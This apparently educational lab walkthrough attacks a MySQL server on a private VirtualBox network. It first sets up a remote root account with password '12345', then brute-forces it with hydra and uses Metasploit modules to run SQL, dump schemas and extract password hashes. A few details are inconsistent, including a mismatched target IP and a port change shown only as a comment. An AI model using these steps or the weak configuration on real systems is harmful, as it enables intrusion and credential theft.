

Penetration testing of MySQL (port 3306)

Step -1 Lab setup

Target machine Ubuntu – ipaddress 192.168.1.14

Attacker Machine Kali – ipaddress 192.168.1.6

Step -2 Installation

Cmd:- sudo apt install mysql-server

```
tushar@tushar:~$ sudo apt install mysql-server
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
mysql-server is already the newest version (8.0.44-0ubuntu0.24.04.2).
The following package was automatically installed and is no longer required:
  libllvm19
Use 'sudo apt autoremove' to remove it.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
tushar@tushar:~$
```

Enumeration

```
(tushar28@kali28)-[~]
$ nmap -p 3306 192.168.1.14
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-08 18:06 +0530
Nmap scan report for 192.168.1.14
Host is up (0.0013s latency).

PORT      STATE SERVICE
3306/tcp  closed mysql
MAC Address: 08:00:27:66:1E:7F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

(tushar28@kali28)-[~]
$ nmap -p 3306 192.168.1.14
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-08 18:13 +0530
Nmap scan report for 192.168.1.14
Host is up (0.0039s latency).

PORT      STATE SERVICE
3306/tcp  open  mysql
MAC Address: 08:00:27:66:1E:7F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

(tushar28@kali28)-[~]
$
```

```
cd /etc/mysql/mysql.conf.d
```

```
sudo nano mysqld.cnf
```

```
sudo systemctl restart mysql
```

Before

```
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address            = 127.0.0.1
mysqlx-bind-address     = 127.0.0.1
#
```

After

```
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address            = 0.0.0.0
mysqlx-bind-address     = 127.0.0.1
#
```

Step -3 To create a user for mysql service

Cmd:- mysql -uroot

Cmd:- CREATE USER 'root'@'%' IDENTIFIED BY '12345';

Cmd: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';

Cmd:- FLUSH PRIVILEGES;

```
root@tushar-VirtualBox: ~  
root@tushar-VirtualBox:~# mysql -uroot  
Welcome to the MySQL monitor.  Commands end with ; or \g.  
Your MySQL connection id is 13  
Server version: 8.0.44-0ubuntu0.24.04.2 (Ubuntu)  
  
Copyright (c) 2000, 2025, Oracle and/or its affiliates.  
  
Oracle is a registered trademark of Oracle Corporation and/or its  
affiliates. Other names may be trademarks of their respective  
owners.  
  
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
  
mysql> CREATE USER 'root'@'%' IDENTIFIED BY '12345';  
Query OK, 0 rows affected (0.03 sec)  
  
mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';  
Query OK, 0 rows affected (0.02 sec)  
  
mysql> FLUSH PRIVILEGES;  
Query OK, 0 rows affected (0.01 sec)  
  
mysql> exit  
Bye  
root@tushar-VirtualBox:~#
```

Step -4 Login to MySql server through Attacker machine

Cmd:- mysql -h 192.168.1.14 -uroot -p --skip-ssl

```
(tushar28@kali28)-[~]  
$ mysql -h 192.168.1.14 -uroot -p --skip-ssl  
Enter password:  
Welcome to the MariaDB monitor.  Commands end with ; or \g.  
Your MySQL connection id is 10  
Server version: 8.0.44-0ubuntu0.24.04.2 (Ubuntu)  
  
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.  
  
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
MySQL [(none)]>
```

Step -5 Brute forcing MySQL Credentials

Cmd:- `hydra -L /home/tushar28/Desktop/hydra/user.txt -P /home/tushar28/Desktop/hydra/password.txt 192.168.1.12 mysql`

```
(tushar28@kali28)-[~]
$ hydra -L /home/tushar28/Desktop/hydra/user.txt -P /home/tushar28/Desktop/hydra/password.txt 192.168.1.12 mysql
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (
this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-12 17:12:37
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 99 login tries (l:9/p:11), ~25 tries per task
[DATA] attacking mysql://192.168.1.12:3306/
[3306][mysql] host: 192.168.1.12 login: root password: 12345
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-12 17:12:48
```

Step -6 Exploitation using Metasploit

Exploit -1

`msfconsole -q`

`use auxiliary/admin/mysql/mysql_sql`

`set username {set the username created in mysql}`

`set password {set the password of the username that u have created}`

`set rhost {ip address of ubuntu}`

`set sql show databases`

`exploit`

```
(tushar28@kali28)-[~]
$ msfconsole -q
msf > use auxiliary/admin/mysql/mysql_sql
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(admin/mysql/mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

  Name      Current Setting  Required  Description
  ---      -
  SQL       select version() yes        The SQL to execute.

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION   no               no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    no               no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     3306             no        The target port (TCP)
  USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf auxiliary(admin/mysql/mysql_sql) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf auxiliary(admin/mysql/mysql_sql) > set username root
username => root
```

Exploit -2

Msfconsole -q

use auxiliary/scanner/mysql/mysql_schemadump

set username root

set password 12345

set rhosts 192.168.1.14

```
(tushar28@kali28)-[~]
└─$ msfconsole -q
msf > use auxiliary/scanner/mysql/mysql_schemadump
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(scanner/mysql/mysql_schemadump) > show options

Module options (auxiliary/scanner/mysql/mysql_schemadump):

  Name          Current Setting  Required  Description
  ---          -
  DISPLAY_RESULTS true            yes       Display the Results to the Screen

Used when connecting via an existing SESSION:

  Name          Current Setting  Required  Description
  ---          -
  SESSION              no          The session to run this module on

Used when making a new connection via RHOSTS:

  Name          Current Setting  Required  Description
  ---          -
  PASSWORD              no          The password for the specified username
  RHOSTS                no          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT             3306        no          The target port (TCP)
  THREADS            1           yes        The number of concurrent threads (max one per host)
  USERNAME              no          The username to authenticate as

View the full module info with the info, or info -d command.

msf auxiliary(scanner/mysql/mysql_schemadump) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root
```

```
msf auxiliary(scanner/mysql/mysql_schemadump) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf auxiliary(scanner/mysql/mysql_schemadump) > set USERNAME root
USERNAME => root
msf auxiliary(scanner/mysql/mysql_schemadump) > set PASSWORD 12345
PASSWORD => 12345
msf auxiliary(scanner/mysql/mysql_schemadump) > exploit
[*] 192.168.1.14:3306 - Schema stored in: /home/tushar28/.msf4/loot/20260109172532_default_192.168.1.14_mysql_schema_261206.txt
[*] 192.168.1.14:3306 - MySQL Server Schema
Host: 192.168.1.14
Port: 3306

-----

- DBName: phpmyadmin
Tables:
- TableName: pma__bookmark
Columns:
- ColumnName: id
ColumnType: int unsigned
- ColumnName: dbase
ColumnType: varchar(255)
- ColumnName: user
ColumnType: varchar(255)
- ColumnName: label
ColumnType: varchar(255)
- ColumnName: query
ColumnType: text
- TableName: pma__central_columns
Columns:
- ColumnName: db_name
ColumnType: varchar(64)
- ColumnName: col_name
ColumnType: varchar(64)
- ColumnName: col_type
ColumnType: varchar(64)
```

exploit-3

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password 12345

set rhosts 192.168.1.14

```
(tushar28@kali28)-[~]
$ msfconsole -q
msf > use auxiliary/scanner/mysql/mysql_hashdump
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(scanner/mysql/mysql_hashdump) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf auxiliary(scanner/mysql/mysql_hashdump) > set USERNAME root
USERNAME => root
msf auxiliary(scanner/mysql/mysql_hashdump) > set PASSWORD 12345
PASSWORD => 12345
msf auxiliary(scanner/mysql/mysql_hashdump) > exploit
[*] 192.168.1.14:3306 - Saving HashString as Loot: root:$A$005$V4"mG(7'#K,6"b@bBP0wMxylJWBhpLkNrblR0yiDiwalGcqZl5oZrjRDMd8
[*] 192.168.1.14:3306 - Saving HashString as Loot: tushar:$A$005$S'z_OFL%TmAmg"PHgZ4Jc6vqeuvijs5p3N6sErSrSLgi0R7JDeOW0IxLQky/
[*] 192.168.1.14:3306 - Saving HashString as Loot: debian-sys-maint:$A$005$/ly;Nwpq8bYzImb#ie2LcKFRLdC.Ev33U.3u1K6MveMvtABsbuXIddDX008
[*] 192.168.1.14:3306 - Saving HashString as Loot: mysql.infoschema:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] 192.168.1.14:3306 - Saving HashString as Loot: mysql.sys:$A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED
[*] 192.168.1.14:3306 - Saving HashString as Loot: phpmyadmin:$A$005$NKgzIQP"K>r|-G7hOu8qcuExdxKbrnT3/3anFeizXVZa5j4TUDQ0SiKH62
[*] 192.168.1.14:3306 - Saving HashString as Loot: root:
[*] 192.168.1.14:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mysql/mysql_hashdump) > █
```

Step -7 Configuring custom port

Cd /etc/mysql

Ls

Cd mysql.conf.d

Ls

Sudo nano mysqld.cnf

#port = 3306

Port = 4444


```
GNU nano 7.2                                tushar@tushar-VirtualBox: /etc/mysql/mysql.conf.d
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
# Here is entries for some specific programs
# The following values assume you have at least 32M ram

[mysqld]
#
# * Basic Settings
#
user                = mysql
# pid-file           = /var/run/mysql/mysql.pid
# socket             = /var/run/mysql/mysql.sock
# port               = 3306
# datadir            = /var/lib/mysql

# If MySQL is running as a replication slave, this should be
# changed. Ref https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_tmpdir
# tmpdir             = /tmp
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address         = 0.0.0.0
mysqlx-bind-address  = 127.0.0.1
#
# * Fine Tuning
#
key_buffer_size      = 16M
# max_allowed_packet = 64M
# thread_stack        = 256K
#
# thread_cache_size   = -1

# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
mysqld-recover-options = BACKUP

# max_connections     = 151

~ Help ~ Write Out ~ Where Is ~ Cut ~ Execute ~ Location ~ Undo ~ Set Mark ~ To Bracket ~ Previous ~ Back
~ Exit ~ Read File ~ Replace ~ Paste ~ Justify ~ Go To Line ~ Redo ~ Copy ~ Where Was ~ Next ~ Forward
```

```
GNU nano 7.2                                tushar@tushar-VirtualBox: /etc/mysql/mysql.conf.d
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
# Here is entries for some specific programs
# The following values assume you have at least 32M ram

[mysqld]
#
# * Basic Settings
#
user                = mysql
# pid-file           = /var/run/mysql/mysql.pid
# socket             = /var/run/mysql/mysql.sock
# port               = 4444
# datadir            = /var/lib/mysql

# If MySQL is running as a replication slave, this should be
# changed. Ref https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_tmpdir
# tmpdir             = /tmp
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address         = 0.0.0.0
mysqlx-bind-address  = 127.0.0.1
#
# * Fine Tuning
#
key_buffer_size      = 16M
# max_allowed_packet = 64M
# thread_stack        = 256K
#
# thread_cache_size   = -1

# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
mysqld-recover-options = BACKUP

# max_connections     = 151

~ Help ~ Write Out ~ Where Is ~ Cut ~ Execute ~ Location ~ Undo ~ Set Mark ~ To Bracket ~ Previous ~ Back
~ Exit ~ Read File ~ Replace ~ Paste ~ Justify ~ Go To Line ~ Redo ~ Copy ~ Where Was ~ Next ~ Forward
```